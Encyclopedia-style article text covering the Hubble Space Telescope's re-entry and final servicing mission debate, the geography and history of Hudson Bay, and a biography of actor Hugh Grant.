          Hubble orbits the Earth in the extremely tenuous upper atmosphere, and over time its orbit decays due to drag. If it is not re-boosted by a shuttle or other means, it will re-enter the Earth's atmosphere sometime between 2010 and 2032, with the exact date depending on how active the Sun is and its impact on the upper atmosphere. The state of Hubble's gyros also impacts the re-entry date, as a controllable telescope can be oriented to minimize atmospheric drag. Not all of the telescope would burn up on re-entry. Parts of the main mirror and its support structure would probably survive, leaving the potential for damage or even human fatalities (estimated at up to a 1 in 700 chance of human fatality for a completely uncontrolled re-entry). If STS-125 is successful, then the natural re-entry date range will be extended further as the mission would re-boost the telescope and replace its gyroscopes.


          NASA's original plan for safely de-orbiting Hubble was to retrieve it using a space shuttle (see STS-144). The Hubble telescope would then have most likely been displayed in the Smithsonian Institution. This is no longer considered practical because of the costs of a shuttle flight (US$500 million by some estimates), the mandate to retire the space shuttles by 2010, and the risk to a shuttle's crew. Instead NASA looked at adding an external propulsion module to allow controlled re-entry. The final decision was not to attach a de-orbit module on STS-125, but to add a grapple fixture so a robotic mission could more easily attach such a module later.


          


          Debate over final servicing mission


          Columbia was originally scheduled to visit Hubble again in February 2005. The tasks of this servicing mission would have included replacing a fine guidance sensor and two broken gyroscopes, placing protective "blankets" on top of torn insulation, replacing the Wide Field and Planetary Camera 2 with a new Wide Field Camera 3 and installing the Cosmic Origins Spectrograph (COS). However, then-NASA Administrator Sean O'Keefe decided that, in order to prevent a repeat of the Columbia disaster, all future shuttles must be able to reach the 'safe-haven' of the International Space Station (ISS) should an in-flight problem develop which would preclude the shuttle from landing safely. The shuttle is incapable of reaching both the Hubble Space Telescope and the International Space Station during the same mission, and so future manned service missions were canceled.


          This decision was assailed by numerous astronomers, who felt that the Hubble telescope was valuable enough to merit the human risk. HST's successor, the James Webb Space Telescope (JWST), will not be ready until well after the 2010 scheduled retirement of the Space Shuttle. While Hubble can image in the ultraviolet and visible wavelengths, JWST is limited to the infrared. The break in space-observing capabilities between the decommissioning of Hubble and the commissioning of a successor is of major concern to many astronomers, given the great scientific impact of HST taken as a whole. The consideration that the JWST will not be located in low Earth orbit, and therefore cannot be easily repaired in the event of an early failure, only makes these concerns more acute. Nor can JWST's instruments be easily upgraded. On the other hand, many astronomers feel strongly that the servicing of Hubble should not take place if the costs of the servicing come from the JWST budget.


          In January 2004, O'Keefe said that he would review his decision to cancel the final shuttle servicing mission to HST due to public outcry and requests from Congress for NASA to look for a way to save it. On 13 July 2004, an official panel from the National Academy of Sciences made the recommendation that the Hubble be preserved despite the apparent risks. Their report urged "NASA should take no actions that would preclude a space shuttle servicing mission to the Hubble Space Telescope". In August 2004, O'Keefe requested the Goddard Space Flight Centre to prepare a detailed proposal for a robotic service mission. These plans were later canceled, the robotic mission being described as "not feasible." In late 2004, several Congressional members, led by Sen. Barbara Mikulski (D-MD), held public hearings and carried on a fight with much public support (including thousands of letters from school children across the country) to get the Bush Administration and NASA to reconsider the decision to drop plans for a Hubble rescue mission.


          The arrival in April 2005 of the new NASA Administrator, Mike Griffin, changed the status of the proposed shuttle rescue mission. At the time, Griffin stated he would reconsider the possibility of a manned servicing mission. Soon after his appointment, he authorized Goddard Space Flight Centre to proceed with preparing for a manned Hubble maintenance flight, saying he would make the final decision on this flight after the next two shuttle missions. In October 2006 Griffin gave the final go-ahead for the mission. The 11-day STS-125 mission by Atlantis, scheduled for launch on 8 October 2008, will install fresh batteries, replace all gyroscopes, and install Wide Field Camera 3 and the Cosmic Origins Spectrograph.
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          Hudson Bay (French: baie d'Hudson) is a large (1.23 million km), relatively shallow body of water in northeastern Canada. It drains a very large area that includes parts of Ontario, Quebec, Saskatchewan, Alberta, most of Manitoba, parts of North Dakota and Minnesota, and the southeastern area of Nunavut. A smaller offshoot of the bay, James Bay, lies to the south. The IHO, in its Special Publication 23, Limits of Oceans and Seas, fourth edition, lists Hudson Bay as part of the Arctic Ocean. On the east it is connected with the Atlantic Ocean by Hudson Strait, and on the north with the rest of the Arctic Ocean by Foxe Basin (which is not considered part of the bay) and Fury and Hecla Strait. Geographic coordinates: 78 to 95 W, 51 to 70 N.


          The Eastern Cree name for Hudson and James Bay is Wnipekw (Southern dialect) or Wnipkw (Northern dialect), meaning muddy or brackish water. Lake Winnipeg is similarly named by the local Cree, as is the location for the City of Winnipeg.


          


          History


          
            [image: Canada, Routes of Explorers, 1497 to 1905]

            
              Canada, Routes of Explorers, 1497 to 1905
            

          


          Hudson Bay was named after Henry Hudson, who explored the bay in 1610 on his ship the Discovery. On this fourth voyage he worked his way around the west coast of Greenland and into the bay, mapping much of its eastern coast. The Discovery became trapped in the ice over the winter, and the crew survived onshore at the southern tip of James Bay. When the ice cleared in the spring Hudson wanted to explore the rest of the area, but the crew mutinied on June 22, 1611, and left Hudson and others adrift in a small boat. No one to this day knows the fate of Hudson and his loyal crew.


          Sixty years later the Nonsuch reached the bay and successfully traded for beaver pelts with the Cree. This led to the creation of the Hudson's Bay Company, which bears its name to this day. The British crown awarded a trading monopoly on the Hudson Bay watershed, called Rupert's Land, to the Hudson's Bay Company. France contested this grant by sending several military expeditions to the region, but abandoned its claim in the Treaty of Utrecht (April, 1713).


          During this period, the Hudson's Bay Company built several forts and trading posts along the coast at the mouth of the major rivers (such as Fort Severn, Ontario, York Factory, Manitoba, and Churchill, Manitoba). The strategic locations allowed inland exploration and more importantly, facilitated trade with the indigenous people, who would bring fur to the posts from where the HBC would transport it directly to Europe (which incidentally is a shorter distance than from Montreal). The HBC continued to use these posts until the beginning of the 20th century. The port of Churchill is still today an important shipping link for trade with Europe and Russia.


          This land, an area of approximately 3.9 million km, was ceded in 1870 to Canada as part of the Northwest Territories when the trade monopoly was abolished. Starting in 1913, the Bay was extensively charted by the Canadian Government's CSS Acadia to develop the bay for navigation. This resulted in the establishment of Churchill, Manitoba, as a deep-sea port for wheat exports in 1929 after unsuccessful attempts at Port Nelson.


          Due to a change in naming conventions, Hudson's Bay is now correctly called Hudson Bay. As a result, both the body of water and the company are often misnamed.


          


          Geography


          


          Climate
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          Hudson Bay was the growth centre for the main ice sheet that covered northern North America during the last Ice Age. The whole region has very low year round average temperatures. (The average annual temperature for Churchill at 59N is -5C; by comparison Arkhangelsk at 64N in a similar cold continental position in northern Russia has an average of 2C.) Water temperature peaks at 8-9C on the western side of the bay in late summer. It is largely frozen over from mid-December to mid-June when it usually clears from its eastern end westwards and southwards. A steady increase in regional temperatures over the last 100 years has been reflected in a lengthening of the ice-free period which was as short as four months in the late 17th century.


          


          Waters
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          Hudson Bay has a salinity that is lower than the world ocean on average. This is caused mainly by the low rate of evaporation (the bay is ice-covered for much of the year), the large volume of terrestrial runoff entering the bay (about 700 km annually; the Hudson Bay watershed covers much of Canada, with many rivers and streams discharging into the bay), and the limited connection with the larger Atlantic Ocean (and its higher salinity). The annual freeze-up and thaw of sea ice significantly alters the salinity of the surface layer, representing roughly three years' worth of river inflow.


          


          Shores


          The western shores of the bay are a lowland known as the "Hudson Bay Lowlands" which covers 324,000 km. The area is drained by a large number of rivers and has formed a characteristic vegetation known as muskeg. Much of the landform has been shaped by the actions of glaciers and the shrinkage of the bay over long periods of time. Signs of numerous former beachfronts can be seen far inland from the current shore. A large portion of the lowlands in the province of Ontario is part of the Polar Bear Provincial Park, and a similar portion of the lowlands in Manitoba is contained in Wapusk National Park.


          In contrast, most of the eastern shores (the Quebec portion) form the western edge of the Canadian Shield in Quebec. The area is rocky and hilly. Its vegetation is typically boreal forest, and to the north, tundra.


          Measured by shoreline, Hudson Bay is the largest bay in the world (the largest in area being the Bay of Bengal).


          


          Islands


          There are many islands in Hudson Bay, mostly near the eastern coast. All are part of the territory Nunavut. One group of islands, with a reputable name, is the Belcher Islands. Another group includes the Ottawa Islands.


          


          Geology


          When Earth's gravitational field was mapped starting in the 1960s a large region of below-average gravity was detected in the Hudson Bay region. This was initially thought to be a result of the crust still being depressed from the weight of the Laurentide ice sheet during the most recent Ice Age, but more detailed observations taken by the GRACE satellite suggest that this effect cannot account for the entirety of the gravitational anomaly. It is thought that convection in the underlying mantle may be contributing.


          Supposedly there are large deposits of iron ore under the bay which affect magnetic fields and compasses.


          


          Coastal communities


          The coast of Hudson Bay is extremely sparsely populated; there are only about a dozen villages. Some of these were founded in the 17th and 18th centuries by the Hudson's Bay Company as trading posts, making them part of the oldest settlements in Canada. With the closure of the HBC posts and stores in the second half of the 20th century, many coastal villages are now almost exclusively populated by Cree and Inuit people.


          Some of the more prominent communities along the Hudson Bay coast are:


          
            	Puvirnituq, Quebec


            	Arviat, Nunavut


            	Churchill, Manitoba


            	Rankin Inlet, Nunavut

          


          


          Military development


          Not until the Cold War was there any military significance attributed to the region. In the 1950s, a few sites along the coast became part of the Mid-Canada Line, watching for a potential Soviet bomber attack over the North Pole. The only Arctic, deep water port in Canada is located at Churchill, Manitoba.


          


          Economy


          


          Arctic Bridge
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          The longer periods of ice-free navigation and the reduction of Arctic Ocean ice coverage have led to interest in Russia and Canada in the potential for commercial trade routes across the Arctic and into Hudson Bay. The so-called " Arctic Bridge" would link Churchill, Manitoba and the Russian port of Murmansk. 
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              	Born

              	Hugh John Mungo Grant

              September 9, 1960 (1960-09-09)

              Hammersmith, London, England, United Kingdom
            


            
              	Occupation

              	Actor, Film producer
            


            
              	Years active

              	1987-present
            


            
              	
                
                  
                    	Awards won
                  


                  
                    	BAFTA Awards
                  


                  
                    	Best Actor

                    1994 Four Weddings and a Funeral
                  


                  
                    	Csar Awards
                  


                  
                    	Honorary Csar

                    2006 Lifetime Achievement
                  


                  
                    	Golden Globe Awards
                  


                  
                    	Best Actor - Motion Picture Musical/Comedy

                    1995 Four Weddings and a Funeral
                  


                  
                    	Other Awards
                  


                  
                    	BAFTA/LA Britannia Award

                    2003 Excellence in Film

                    CFCA Award for Most Promising Actor

                    1995 Four Weddings and a Funeral

                    LFCC Award for Best British Actor

                    2002 About A Boy
                  

                

              
            

          


          Hugh John Mungo Grant (born September 9, 1960) is a Golden Globe-winning British actor and film producer. Grant achieved international stardom after playing the alter ego of writer-director Richard Curtis in the sleeper hit Four Weddings and a Funeral (1994). He used this breakthrough role as a frequent cinematic persona during the 1990s to deliver comic performances in mainstream films like Mickey Blue Eyes (1999) and Notting Hill (1999). With relatively sparse on-screen work as rogues and gentlemen, he established himself, by the turn of the 21st century, as a prominent leading man skilled with a satirical comic talent. In recent years, Grant has expanded his oeuvre with critically acclaimed turns as a cad in Bridget Jones's Diary (2001), About A Boy (2002), and American Dreamz (2006).


          Grant has been criticised by students of cinema for putting emphasis on nuanced mannerisms, for the predictability of his movies, and for his unwillingness to stretch as an actor. Within the film industry, he is cited as a movie star who approaches his roles like a character actor, with the ability to make acting look effortless. Hallmarks of his patented comic skills include a nonchalant touch of irony/ sarcasm and studied physical mannerisms as well as his precisely-timed dialogue delivery and facial expressions.


          Widespread media speculation about Grant's reportedly very strong personality and life off the big screen has often overshadowed his work as a thespian. Over years of fame, he has been identified in popular culture as a figure of charisma, charm, sharp tongue, and wit, who is very vocal about his disrespect for the profession of acting and his disdain toward the culture of celebrity. He is equally infamous for his grumpiness, political incorrectness, hostilities with the media, and bad temper. In a career spanning 20 years, Grant has repeatedly claimed that acting is not a true calling but just a job he fell into, while his movies have earned more than $2.4 billion from 25 theatrical releases worldwide.


          


          Ancestry and early life


          Grant was born at Hammersmith Hospital in London, England, to Fynvola Susan ( ne MacLean) and Captain James Murray Grant. Genealogist Antony Adolph described his family history as "a colourful Anglo-Scottish tapestry of warriors, empire-builders and aristocracy." Grant is a descendant of the Grants of Glenmoriston from a long line of Scots military men, doctors and explorers, including William Drummond and Dr. James Stewart. John Murray, 1st Duke of Atholl, Heneage Finch, 1st Earl of Nottingham, Rt Hon. Sir Evan Nepean, and former British Prime Minister Spencer Perceval are a few of his notable maternal antecedents. Grant's grandfather, Major James Murray Grant, DSO, a native of Inverness in Scotland, was decorated for bravery and leadership at Dunkirk during WWII.


          Grant's father, Capt. Grant, was trained at Sandhurst and served with the Seaforth Highlanders for eight years in Malaya, Germany and Scotland. He ran a carpet firm, pursued hobbies such as golf and watercolouring, and raised his family in Chiswick, West London, where the Grants lived next to Arlington Park Mansions on Sutton Lane. In September 2006, a collection of Capt. Grant's paintings was hosted by the John Martin Gallery in a charity exhibition, organised by his famous son, called "James Grant: 30 Years of Watercolours." Fynvola Grant was the great-granddaughter of Sir Evan Colville Nepean (CB), whose father, Rev. Canon Evan Nepean, served as the Canon of Westminster and was Chaplain In Ordinary to Queen Victoria. She worked as a schoolteacher and taught Latin, French and music for more than 30 years in the state schools of West London. She died at the age of 63, after an 18-month battle with pancreatic cancer, in 2001.


          Grant's famous RP accent is an inheritance from his mother and, on Inside the Actors Studio in 2002, he credited her with "any acting genes that [he] might have." Both his parents were children of military families, and Grant has referred to his own upbringing as very ordinary middle class. He spent his childhood summers in Scotland, shooting and fishing with his grandfather. Grant's elder brother, James "Jamie" Grant, is a successful banker as Managing Director, head of Healthcare, Consumer, & Retail Investment Banking Coverage, at JPMorgan Chase in New York.


          


          Education


          Grant started his education at the pre-preparatory Wetherby School. From 1969 to 1978, he attended Latymer Upper School on scholarship and played 1st XV rugby, cricket and football for the institution. He also represented Latymer on the popular quiz show, Top of the Form, an academic competition between two teams of four secondary school students each. Chris Hammond, his form teacher in 1975 and later the assistant head of Latymer, told People magazine that Grant was "a clever boy among clever boys." In 1979, he won the Galsworthy scholarship to New College, Oxford where he studied English literature and graduated with an upper second-class honours degree. Grant is remembered as a famous face at Oxford, with actress Anna Chancellor recalling, "I first met Hugh at a party at Oxford. There was something magical about him. He was a star even then, without having done anything." Viewing acting as nothing more than a creative outlet, he joined the Oxford University Dramatic Society and starred in a successful touring production of Twelfth Night.


          


          Young earner


          After making his debut as Hughie Grant in the Oxford-financed Privileged (1982) and deferring his place at the Courtauld Institute, Grant dabbled in a variety of jobs: he wrote book reviews; worked as assistant groundsman at Fulham Football Club; tried his hand at tutoring; wrote comedy sketches for TV shows; and was hired by Talkback Productions to write and produce radio commercials for products such as Mighty White bread and Red Stripe lager. To obtain his equity card, he joined the repertory theatre Nottingham Playhouse and lived for a year at Park Terrace in The Park Estate, Nottingham. Bored of small acting parts, he created his own comedy revue called The Jockeys of Norfolk with friends Chris Lang and Andy Taylor. The group toured Londons pub comedy circuit with stops at The George IV in Chiswick, Canal Cafe Theatre in Little Venice and The King's Head in Islington. Starting on a low note, The Jockeys of Norfolk eventually proved a hit at the Edinburgh Festival after their sketch on the Nativity, told as an Ealing comedy, garnered them a spot on the BBC2 TV show called Edinburgh Nights. During this time, Grant also appeared in theatre productions of plays such as An Inspector Calls, Lady Windermere's Fan, and Coriolanus.


          


          Movie career


          Grant's first respectable leading role came in Merchant-Ivory's 1987 Edwardian drama, Maurice, adapted from E.M. Forster's namesake novel. He and co-star James Wilby shared the Volpi Cup for best actor at the Venice Film Festival for their portrayals of Cantabrigian collegians Clive Durham and Maurice Hall, respectively. The same year, while playing Lord Byron in a Spanish production called Remando Al Viento (1988), he met little-known actress and future-girlfriend Elizabeth Hurley, who was cast in a supporting role as Byron's former lover Claire Clairmont. During the late 1980s and early 1990s, Grant balanced small roles on television with rare film work.


          In 1992, he appeared in Roman Polanski's film Bitter Moon, portraying a fastidious and proper British tourist who is married to Kristen Scott Thomas but finds himself enticed by the sexual hedonism of a seductive French woman and her embittered, paraplegic American husband. Called an "anti-romantic opus of sexual obsession and cruelty" by the Washington Post, the film has been identified as an early illustration of Grant's ability to put a bemused comic spin on strait-laced characters. His other work in period pieces such as Ken Russells The Lair of the White Worm (1988), award-winning Merchant-Ivory drama The Remains of the Day (1993) and (as Frdric Chopin in) Impromptu (1991) was largely unnoticed. He later called this phase of his career "hilarious," referring to his early movies as "Europuddings, where you would have a French script, a Spanish director, and English actors. The script would usually be written by a foreigner, badly translated into English. And then they'd get English actors in, because they thought that was the way to sell it to America."


          At 32, Grant claimed to be on the brink of giving up the acting profession but was surprised by the script of Four Weddings and a Funeral (FWAAF). "If you read as many bad scripts as I did, you'd know how grateful you are when you come across one where the guy actually is funny," he later recalled. Released in 1994, FWAAF became the highest-grossing British film of all time with a worldwide box office in excess of $244 million, making Grant an overnight international star. The film was nominated for two Academy Awards, and among numerous awards won by its cast and crew, it earned Grant his first and only Golden Globe Award for Best Performance by an Actor in a Motion Picture - Musical Or Comedy and a BAFTA Award for Best Actor in a Leading Role. It also temporarily typecast him as the lead character, Charles, a bohemian and debonair bachelor. Grant and Curtis saw it as an inside joke that the star, due to the parts he played, was assumed to have the personality of the screenwriter, who is known for writing about himself and his own life. Grant later expressed:


          


          
            
              	

              	Although I owe whatever success I've had to 'Four Weddings and a Funeral,' it did become frustrating after a bit that people made two assumptions: One was that I was that character --- when in fact nothing could be further from the truth, as I'm sure Richard would tell you --- and the other frustrating thing was that they thought that's all I could do. I suppose, because those films happened to be successful, no one, perhaps understandably, ... bothered to rent all the other films I'd done.

              	
            

          


          1995 saw the release of Grant's first studio-financed Hollywood project, Chris Columbus comedy Nine Months. Though a hit at the box office, it was almost universally panned by critics. The Washington Post called it a "grotesquely pandering caper" and singled out Grant's performance, as a child psychiatrist reacting unfavourably to his girlfriend's unexpected pregnancy, for his "insufferable muggings." The same year, he played a supporting part as Emma Thompson's suitor in Ang Lees Academy Award-winning adaptation of Jane Austen's Sense and Sensibility.


          Grant then reunited with the director of FWAAF, Mike Newell, for the tragicomedy An Awfully Big Adventure that was labeled a "determinedly offbeat film" by the New York Times. Grant portrayed a bitchy, supercilious director of a repertory company in post-World War II Liverpool. Critic Roger Ebert wrote, "It shows that he has range as an actor," but the San Francisco Chronicle disapproved on grounds that the film "plays like a vanity production for Grant." Janet Maslin, praising Grant as "superb" and "a dashing cad under any circumstances," commented, "For him this film represents the road not taken. Made before Four Weddings and a Funeral was released, it captures Mr. Grant as the clever, versatile character actor he was then becoming, rather than the international dreamboat he is today."


          Grant made his debut as a film producer with the 1996 thriller Extreme Measures, a commercial and critical failure. After a three year hiatus, in 1999, he paired with Julia Roberts in Notting Hill, which was brought to theatres by much of the same team that was responsible for FWAAF. This new Working Title production displaced FWAAF as the biggest British hit in the history of cinema, with earnings equalling $363 million worldwide. As it became exemplary of modern romantic comedies in mainstream culture, the film was also received well by critics. CNN reviewer Paul Clinton said, "Notting Hill stands alone as another funny and heartwarming story about love against all odds." Reactions to Grant's Golden Globe-nominated performance were varied, with Salon's Stephanie Zacharek criticizing that, "Grant's performance stands as an emblem of what's wrong with Notting Hill. What's maddening about Grant is that he just never cuts the crap. He's become one of those actors who's all shambling self-caricature, from his twinkly crow's feet to the time-lapsed half century it takes him to actually get one of his lines out." The movie provided both its stars a chance to satirize the woes of international notoriety, most noted of which was Grant's turn as a faux-journalist who sits through a dull press junket with, what the New York Times called, "a delightfully funny deadpan." Grant also released his second production output, a fish-out-of-water mob comedy Mickey Blue Eyes, that year. It was dismissed by critics, performed modestly at the box office, and garnered its actor-producer mixed reviews for his starring role. Roger Ebert thought, "Hugh Grant is wrong for the role [and] strikes one wrong note and then another," whereas Kenneth Turan, writing in the Los Angeles Times, said, "If he'd been on the Titanic, fewer lives would have been lost. If he'd accompanied Robert Scott to the South Pole, the explorer would have lived to be 100. That's how good Hugh Grant is at rescuing doomed ventures."


          While promoting Woody Allens Small Time Crooks on NBCs The Today Show in 2000, Grant told host Matt Lauer, It's my millennium of bastards.


          


          Small Time Crooks starred Grant, in the words of film critic Andrew Sarris, as "a petty, petulant, faux-Pygmalion art dealer, David [who] is one of the sleaziest and most unsympathetic characters Mr. Allen has ever created." In a role devoid of his comic attributes, the New York Times wrote, "Mr. Grant deftly imbues his character with exactly a perfect blend of charm and nasty calculation." A year later, his turn as a charming but womanising book publisher Daniel Cleaver in Bridget Jones's Diary (2001) was proclaimed by Variety to be "as sly an overthrow of a star's polished posh - and nice - poster image as any comic turn in memory." The movie, adapted from Helen Fielding's novel of the same name, was an international hit, earning $281 million worldwide. Grant was, according to the Washington Post, fitting as "a cruel, manipulative cad, hiding behind the male god's countenance that he knows all too well."


          2002 saw Grant paired with Sandra Bullock in Warner Bros.'s Two Weeks Notice, which made $199 million internationally but was judged poorly by professional reviewers. The Village Voice concluded that Grant's creation of a spoiled billionaire fronting a real estate business was "little more than a Britishism machine." His "immaculate comic performance" (BBC) as the trust-funded womaniser, Will Freeman, in the film adaptation of Nick Hornby's best-selling novel About a Boy received raves from critics. Almost universally praised, with an Academy Award-nominated screenplay, About a Boy (2002) was determined by the Washington Post to be "that rare romantic comedy that dares to choose messiness over closure, prickly independence over fetishized coupledom, and honesty over typical Hollywood endings." Rolling Stone wrote, "The acid comedy of Grant's performance carries the film [and he] gives this pleasing heartbreaker the touch of gravity it needs," while Roger Ebert observed that "the Cary Grant department is understaffed, and Hugh Grant shows here that he is more than a star, he is a resource." Released a day after the blockbuster Star Wars Episode II: Attack of the Clones, About a Boy was a more modest box office grosser than other successful Grant films, making all of $129 million globally. The film earned Grant his third Golden-Globe nomination, while the London Film Critics Circle named Grant its Best British Actor and GQ honoured him as one of the magazine's men of the year 2002. "His performance can only be described as revelatory," wrote critic Ann Hornaday, adding that "Grant lends the shoals layer upon layer of desire, terror, ambivalence and self-awareness." The New York Observer concluded: "[The film] gets most of its laughs from the evolved expertise of Hugh Grant in playing characters that audiences enjoy seeing taken down a peg or two as a punishment for philandering and womanizing and simply being too handsome for words-and with an English accent besides. In the end, the film comes over as a messy delight, thanks to the skill, generosity and good-sport, punching-bag panache of Mr. Grant's performance."


          


          This was followed by the 2003 ensemble comedy, Love Actually, headlined by Grant as the British Prime Minister. A Christmas release by Working Title Films, the movie was promoted as "the ultimate romantic comedy" and accumulated $246 million at the international box office. It marked the directorial debut of Richard Curtis, who told the New York Times that Grant adamantly tempered the characterization of the role to make his character more authoritative and less haplessly charming than earlier Curtis incarnations. Roger Ebert claimed that "Grant has flowered into an absolutely splendid romantic comedian" and has "so much self-confidence that he plays the British prime minister as if he took the role to be a good sport." Film critic Rex Reed, on the contrary, called Grant's performance "an oversexed bachelor spin on Tony Blair" as the star "flirted with himself in the paroxysm of self-love that has become his acting style."


          A speech delivered by Grant in Love Actually - where he extols the virtues of Great Britain and refuses to cave to the pressure of its longstanding ally, the United States - was etched in the transatlantic memory as a satirical, wishful statement on the concurrent Bush-Blair relationship. Tony Blair responded by saying, "I know there's a bit of us that would like me to do a Hugh Grant in Love Actually and tell America where to get off. But the difference between a good film and real life is that in real life there's the next day, the next year, the next lifetime to contemplate the ruinous consequences of easy applause."


          


          In 2004, Grant reprised his role as Daniel Cleaver for a small part in Bridget Jones: The Edge of Reason, which, like its predecessor, made more than $262 million commercially. Gone from the screen for two years, Grant next reteamed with Paul Weitz (About a Boy) for the black comedy American Dreamz (2006). Grant starred as the acerbic host of an American Idol-like reality show where, according to Caryn James of the New York Times, "nothing is real ... except the black hole at the centre of the host's heart, as Mr. Grant takes Mr. Cowell's villainous act to its limit." American Dreamz failed financially but Grant was generously praised. He played his self-aggrandizing character, an amalgam of Simon Cowell and Ryan Seacrest, with smarmy self-loathing. The Boston Globe proposed that this "just may be the great comic role that has always eluded Hugh Grant," and critic Carina Chocano said, "He is twice as enjoyable as the preening bad guy as he was as the bumbling good guy."


          In 2007, Grant starred opposite Drew Barrymore in a parody of pop culture and the music industry called Music and Lyrics. The Associated Press described it as "a weird little hybrid of a romantic comedy that's simultaneously too fluffy and not whimsical enough." Though he neither listens to music nor owns any CDs, Grant learned to sing, play the piano, dance (a few mannered steps) and studied the mannerisms of prominent musicians to prepare for his role as a has-been pop singer, based loosely on Andrew Ridgeley. The Star-Ledger dismissed the performance, writing that "paper dolls have more depth." The movie, with its revenues totalling $145 million, allowed Grant to mock disposable pop stardom and fleeting celebrity through its washed-up lead character. According to the San Francisco Chronicle, "Grant strikes precisely the right note with regard to Alex's career: He's too intelligent not to be a little embarrassed, but he's far too brazen to feel anything like shame."


          


          Filmmaker


          In July 1994, Grant signed a two-year production deal with Castle Rock Entertainment and by October, he became founder and director of the UK-based Simian Films Limited. He appointed his then-girlfriend, Elizabeth Hurley, as the head of development to look for prospective projects. Simian Films produced two Grant vehicles in the 1990s and lost a bid to produce About a Boy to Robert De Niro's TriBeCa Productions. The company closed its U.S. office in 2002 and Grant resigned as director in December 2005. He has since said that his primary interest remains in filmmaking because: "Acting is at best an interpretative thing. It's like being a musician and playing someone else's music. I've always wanted to write the music." In 2000, Grant joined the Supervisory Board of IM Internationalmedia AG, the powerful Munich-based film and media company. He has also served on the advisory board of Mark Milln and Kami Naghdi's U.K. Production company, Hogarth Pictures.


          


          Attitude towards acting


          Grant has called being a successful actor a mistake and has repeatedly talked of his hope that film stardom would just be "a phase" in his life, lasting no more than ten years. A self-confessed "committed and passionate" perfectionist on a film set, Grant has constantly opted to describe himself as a reluctant actor, who chooses to be neutral about his career and works mostly with friends from previous collaborations. Telling the New York Times that he must truly love something before he can do it, he revealed that he chooses projects based on how well they are written and whether the character he is being asked to play constitutes a comic angle to his personality.


          A majority of Grant's popular movies follow a similar plot that captures an optimistic, cocky bachelor experiencing a series of embarrassing escapades to find true love, often with an American woman. In earlier films, Grant was adept at plugging into the stereotype of a repressed Englishman for humorous effects, allowing him to gently satirize his characters as he summed them up and played against the type simultaneously. His screen persona of later films gradually developed into a cynical, self-loathing cad. Using his facial contortions and an affected stammer for varied comic purposes, Grant's characters have often been emotionally distant men, and he once admitted his inability to cry on cue, even with the help of methanol. His preference for levity over dramatic range has been a controversial topic in establishment circles, prompting him to say:


          
            
              	

              	I've never been tempted to do the part where I cry or get AIDS or save some people from a concentration camp just to get good reviews. I genuinely believe that comedy acting, light comedy acting, is as hard as, if not harder than serious acting, and it genuinely doesnt bother me that all the prizes and the good reviews automatically by knee-jerk reaction go to the deepest, darkest, most serious performances and parts. It makes me laugh.

              	
            

          


          In interviews, Grant has pinned his extensively published disinterest in acting on two different thoughts: first, that he drifted into the job as a temporary joke at age 23 and finds it an immature way for a grown man to spend his time; and secondly, because he believes to have already given the one remarkable comic performance he had hoped to create on screen. Calling most scripts lame, Grant has stated that, unlike him, most actors really love acting and that blinds them to the fact that the rest of it is pretentious nonsense, which, he says, it very often is. He told Vanity Fair in 2003 that being an actor at a certain age is akin to being a "char-monkey," making it unworthy of an adults time.


          


          Critical and peer review


          Grant is recognized as a divisive movie star in both, critical reviews and popular media profiles. He has stuck to the genre of comedy, especially the Romantic comedy, for the entirety of his mainstream movie career and never ventures to play characters who are not British. While some film critics, such as the respected Roger Ebert, have defended the limited variety of his performances, others have dismissed him as a one-trick pony. Eric Fellner, co-owner of Working Title Films and a long-time collaborator of Grant said, "His range hasn't been fully tested, but each performance is unique." A majority, though, tend to change their opinion of Grant from film to film, especially differentiating between his roles as Richard Curtis' alter ego and the cynical, smart and sometimes sleazy rogue of several films released in the new millennium.


          In the 1990s, Grant's performances were deemed overbearing, in the words of Washington Post's Rita Kempley, due to his "comic overreactionsthe mugging, the stuttering, the fluttering eyelids." She added: "He's got more tics than Benny Hill." Grant's penchant for conveying his characters' feelings with mannerisms, rather than direct emotions, has been one of the foremost objections raised against his acting style. Stephen Hunter of the Washington Post once stated that, to be effective as a comic performer, he must get "his jiving and shucking under control." Film historian David Thompson wrote in The New Biographical Dictionary of Film about how it is merely itchy mannerisms that Grant equates with screen acting. In the new millennium, Claudia Puig of USA Today celebrated the observation that finally "gone [were] the self-conscious 'Aren't I adorable' mannerisms that seemed endearing at the start of [Grant's] film career but have grown cloying in more recent movies."


          Repeated accusations, which have only subsided in recent years, have targeted what the critics contend is Grant's inclination to make his characters likable rather than complex. In 1999, Stephanie Zacharek stated that "by the time of Four Weddings and a Funeral, he'd switched to a more straightforward, dull, crumpled-corduroy acting style," perhaps because, she chided, "Why bother to play a character when you can just ape a stereotype?" According to Carina Chocano, amongst film critics, the two tropes most commonly associated with Grant are that he reinvented his screen persona in Bridget Jones's Diary and About a Boy and dreads the possibility of becoming a parody of himself. Echoing a widely-accepted assessment that Grant plays the same part over and again since he came to international fame in 1994, The Observer's Philip French has said: "His range is as narrow as a cigarette paper."


          Grant's colleagues, though, have often defended his skills. Emma Thompson, working with him in Sense and Sensibility, wrote in The Sense and Sensibility Screenplay and Diaries that Grant "is as great an actor as I've always thought. So light and yet very much felt." Colin Firth, who worked with him on more than one occasion, has suggested that very few can create Grant's relaxed sense of irony on screen. Scottish actress Sharon Small, a co-star of Grant in About a Boy, discovered that "he is ... a really versatile actor. People tend to put him in a box and say, 'That's all he does', but when we were filming I watched him closely and he was very subtle and very different in every single take."


          


          Work ethic


          A 2007 Vogue profile of Grant referred to him as a man with a "professionally misanthropic mystique." The observation followed published facts such as that: Grant picks his own movies; conducts his interviews alone (without any publicists); is known for politically incorrect and outrageous riffs in public; and derides focus groups, market research and overriding emphasis on the opening weekend. Grant decided to let go of his agent in 2006, ending a 10-year relationship with CAA. Besides proudly proclaiming in interviews to have never listened to external views on his career, he stated that he does not require the hand-holding an agent provides. A few months before firing his agent, he said, "They've known for years that I have total control. I've never taken any advice on anything."


          It has been reported that Grant has a reputation for not always bonding with his fellow cast and crew members. Being a "stern, edgy and intense" presence on film sets, the method behind his performances has been described as the exact reverse of the ease and simplicity he brings to his characters. According to the New York Times, Grant is known in the film industry as a meticulous performer who takes his time to prepare for a role. Having said that the only thing he "fears is fear itself," his working style is apparently predicated on a tendency to take control. Richard Curtis, a frequent collaborator, revealed that Grant is not fluid about the filmmaking process and tends to be unrelaxed while filming because he doesn't feel as though he's in the director's hands and prefers instead to take responsibility of giving a definitive performance.
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              Rene Zellweger, Colin Firth and Oprah Winfrey listen to Grant comment on his leading ladies during an appearance on The Oprah Winfrey Show to promote Bridget Jones: The Edge of Reason.
            

          


